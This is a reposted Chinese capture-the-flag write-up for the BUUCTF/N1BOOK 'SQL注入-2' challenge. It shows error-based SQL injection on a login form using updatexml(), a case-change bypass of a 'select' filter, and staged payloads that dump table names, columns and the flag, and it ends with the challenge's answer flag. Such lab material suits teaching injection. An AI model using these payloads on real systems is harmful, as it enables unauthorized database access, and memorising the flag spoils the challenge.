0


[BUUCTF][N1BOOK][第一章 web入门]SQL注入-2(详细解析)

题目链接:

https://buuoj.cn/challenges#[%E7%AC%AC%E4%B8%80%E7%AB%A0%20web%E5%85%A5%E9%97%A8]SQL%E6%B3%A8%E5%85%A5-2

题目解析:

注意查看细节,发现题目中有一处请访问,在上图标记的位置

我们按提示分别访问/login.php和 /user.php去看看

进入页面后习惯性地查看源代码发现有一行注释提示,告诉我们:

可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦

另一个页面则就只有一行 login first,没有太多用处

页面提交的账号密码,在burp中抓到这个包,使用Ctrl+r将数据发送到repeater进行重发送

然后在burp中的login.php后添加?tips=1,Send发送查看现象

正常send提示账号不存在

使用普通payload:,发现是select被过滤了 (密码写啥都行,因为前面注释掉密码了)

name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=xxxx

尝试一下大小写绕过,成功得到正常回显

name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+

查表名:

将sELEct后的1改为group_concat(table_name),dual改为information_schema.tables where table_schema=database()以查看所有表名

得到pyload:

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+

查看fl4g的字段:

要看fl4g的字段,分别改为把之前的两个地方改为group_concat(column_name)和information_schema.columns where table_name=‘fl4g’

得到pyload:

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+

查看字段获取flag:

payload:

name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+

得到flag:

n1book{login_sqli_is_nice}

题目原理

1、有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入

2、updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数

3、dual用于测试数据库是否可以正常使用

4、如果没有报错提示,可以bool注入


本文转载自: https://blog.csdn.net/weixin_66146598/article/details/125209598
版权归原作者 柠.筱 所有, 如有侵权,请联系我们删除。

“[BUUCTF][N1BOOK][第一章 web入门]SQL注入-2(详细解析)”的评论:

还没有评论